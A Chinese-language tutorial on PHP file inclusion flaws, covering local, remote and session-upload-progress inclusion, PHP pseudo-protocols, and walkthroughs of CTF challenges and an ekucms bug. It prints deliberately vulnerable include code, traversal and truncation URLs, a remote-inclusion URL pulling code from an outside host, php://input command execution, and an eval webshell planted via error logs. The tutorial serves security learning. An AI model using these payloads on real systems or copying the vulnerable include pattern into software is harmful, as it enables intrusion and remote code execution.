文件包含漏洞原理
1.什么是文件包含
程序開發人員有時可能重復使用函數寫到單個文件中,在使用某些函數時直接調用此文件,無需再次編寫,這種調用文件額過程稱為文件包含。
2.php中常見的包含文件的函數
- include()
當使用改函數包含文件時,只有代碼執行到include()函數時才將文件包含進來,法神錯誤時會給一個警告,繼續向下執行。 - include_once()
功能與include()相同,,區別在於當重復同一文件時,程序只調用一次。 - require()
require()與include()的區別在於require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本運行。 - require_once()
require_once()和require()相同,區別在於當重復調用同一文件時,程序只調用一次。
幾乎所有的腳本語言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至沒有包含漏洞的存在。
文件包含各個腳本中代碼
ASP、PHP、JSP、ASPX等
<!--#include file="1.asp"-->
<!--#include file="top.aspx"-->
<c: import url="http://thief.one/1.jsp">
<jsp: include page="head.jsp" />
<%@ include file="head.jsp" %>
<?php Include('test.php') ?>
文件包含類型
- 無限制php文件包含代碼:
<?php
$filename = $_GET['filename'];
include($filename);
?>
- 有限制php文件包含代碼
<?php
$filename = $_GET['filename'];
include($filename.".html");#強制修改后綴
?>
1.本地包含
本質是訪問服務器本身已經存在的文件。或者可以上傳的文件,在直到上傳的目錄結構下。
- 無限制情況
本地網站目錄存在文件1.txt,其里面包含php代碼。當利用文件包含網頁訪問1.txt時,里面的php代碼被執行。
http://127.0.0.1/include.php?filename=1.txt
若文件www.txt在E盤根目錄下
網站目錄在三級目錄下
可構造訪問
http://127.0.0.1/include.php?filename=../../../www.txt
- 有限制情況
有限制的情況下,文件會被強制加上后綴,無法正常解析和執行。
%00截斷
條件:magic_quotes_gpc=off,php版本<5.3.4
http://127.0.0.1/include.php?filename=1.txt%00
長度截斷
條件:windows點號要長於256,linux要長於4096
2.遠程包含
在php中,要實現遠程包含的條件是:allow_url_include=on,allow_url_fopen=on。
原理是通過讀取自己服務器的文件,在目標服務器上進行執行。
- 無限制
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt
- 有限制
可通過%20、%23、?進行截斷
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%00
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%23
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt?
3.Session包含
- 定義
當可以獲取Session文件路徑並且Session文件內容可控時,就可以通過包含Session內容可控。相關版本php>=5.4.0
相關配置
在Session文件包含時需要php.ini中幾個相關配置。
- session.upload_progress.enabled = On
當session.upload_progress.enabled選項開啟時,PHP能夠在每一個文件上傳時監測上傳進度。這個信息本身沒有什么幫助,但在文件上傳時應用可以發送一個POST親求到終端(如XHR)來檢查這個狀態。 - session.upload_progress.cleanup = On
session.upload_progress.cleanup = On 的意思就是在讀取完POST的數據后,php就會刪除session文件中關於上傳進度的信息。 - session.upload_progress.prefix = “upload_progress_”
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
當一個上傳在處理中,同時POST一個與ini中設置的session.upload_progress.name同名變量時,上傳進度可以在$_session中獲得。當PHP檢測到這種POST請求時,會在$_session中添加一組數據,索引時=是:session.upload_progress.prefix與session.upload_progress.name連接到一起的值。這些鍵值可以通過讀取ini設置來獲得,如:
<?php
$key = ini_get("session.upload_progress.prefix").in_get("session.upload_prossion.name");
var_dump($_SEESION[$key]);
?>
存儲機制
當開啟session時,服務器會在零時目錄下創建一個session文件保存會話信息,文件格式偽sess_PHPSESSID
在Linux系統中,session文件一般在以下目錄:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
windows中的位置根據安裝位置決定。
文件包含利用方法
了解了session.upload_progress相關配置和session和存儲機制后,可以通過PHP_SESSION_UPLOAD_PROGRESS將惡意代碼寫入session文件中,再通過包含session實現RCE。不過還需要兩個條件:
- 通過session_start()才能開啟session,如果沒有session_start()這個條件是否就沒法利用了,這時需要了解到另一個相關配置:session.use_strict_mode
session.use_strict_mode=on
默認情況下此模塊是關閉的。
啟用改,哦快的話,會防止會話模塊未初始會話的ID。僅接受它自己創建有效會話ID,而拒絕用戶自己創建的會話ID。
我們可以自行設置cookie或者使用JavaScript注入的方式來設置會話ID進行攻擊。
該選項不開啟,我們可以自定義session_id,如,我們在請求數據包設置cookie為PHPSESSID=123,那么就會生成一個sess_123的session文件,此時php會自動初始化session,並產生一個鍵值,格式為配置文件中的session.upload_progress.prefix的值+我們上傳的session.upload_progress.name的值此鍵值會寫入session文件。該鍵值的格式應該為:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。
2. 因為 session.upload_progress.cleanup默認是開啟的
導致在上傳結束后,session文件中有關的上傳進度信息會馬上被刪除,此時需要使用條件競爭解決。使用python腳本或burp不斷上傳數據包,然后在用相同的方式發送文件按包含數據包,即可包含。
各種偽協議玩法
推薦:
https://www.cnblogs.com/endust/p/11804767.html
php支持的偽協議
file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
php.ini參數設置
在php.ini里有兩個重要的參數allow_url_fopen、allow_url_include。
allow_url_fopen:默認值是ON。允許url里的封裝協議訪問文件;
allow_url_include:默認值是OFF。不允許包含url里的封裝協議包含文件;
各協議的利用條件和方法
案例演示
1.CTF-南郵大
賽題地址:
http://4.chinalover.sinaapp.com/web7/index.php
打開界面如圖:
查看網頁源碼,發現還有一個url,點擊進去
小技巧:
此時url后面的參數是file,且值是show.php
我們直接訪問show.php
發現與剛才界面顯示結果相同。
即:
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
http://4.chinalover.sinaapp.com/web7/show.php
可以判斷是文件包含。
通過大小寫判斷是什么操作系統。
大寫報錯,說明是linUx。
利用偽協議,執行系統命令讀取index.php文件:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
利用base64解碼,得到flag:
2.i 春秋百度杯真題-白盒
地址:
https://www.ichunqiu.com/battalion?t=1&r=0
打開后直接可以看見源碼:
還是先判斷操作系統,方便后續操作:
是linux。
接着構造,通過執行php代碼獲得文件目錄:
http://50fd50592cdb4726bac09c6f0dadab3bf687db61f9084bfa.changame.ichunqiu.com/?path=php://input
Post:<?php echo system('ls');?>
再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
解碼得flag:
3.ekucms文件包含漏洞
鏈接:https://pan.baidu.com/s/1TYTP_f4JW3ZbW14niChDxQ
提取碼:qwer
本地包含一句話木馬:
http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}
會在網站的/temp/Logs/目錄下生成一個錯誤日志,命名規則為年_月_日
進行包含錯誤日志,地址:
http://127.0.0.1/ekucms/?s=my/show/id/\..\temp\logs\21_09_09.log
驗證:
蟻劍可連接
4.session文件包含演示
php版本5.4.45
本機session文件地址:
E:\PHPstdy\PHPTutorial\tmp\tmp
相關配置
測試源碼:
//包含頁面123.php
<?php
$file=$_GET['file'];
include($file);
?>
上傳表單:
//上傳表單 submit.php
<html>
<body>
<form action="http://127.0.0.1/test.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
訪問上傳表單,上傳文件進行抓包。
這里我們添加一個 Cookie :PHPSESSID=123,PHP將會在服務器上創建一個文件:/tmp/sess_123
將請求包發送到intruder模塊,通過爆破來實現不斷發包。
開始爆破
可以看到,在session文件的存儲目錄中生成了名為sess_123的文件
現在嘗試向PHP_SESSION_UPLOAD_PEOGRESS中插入惡意代碼,並包含session文件。
訪問包含頁面,抓包,設置好路徑,也發到intruder模塊進行爆破
成功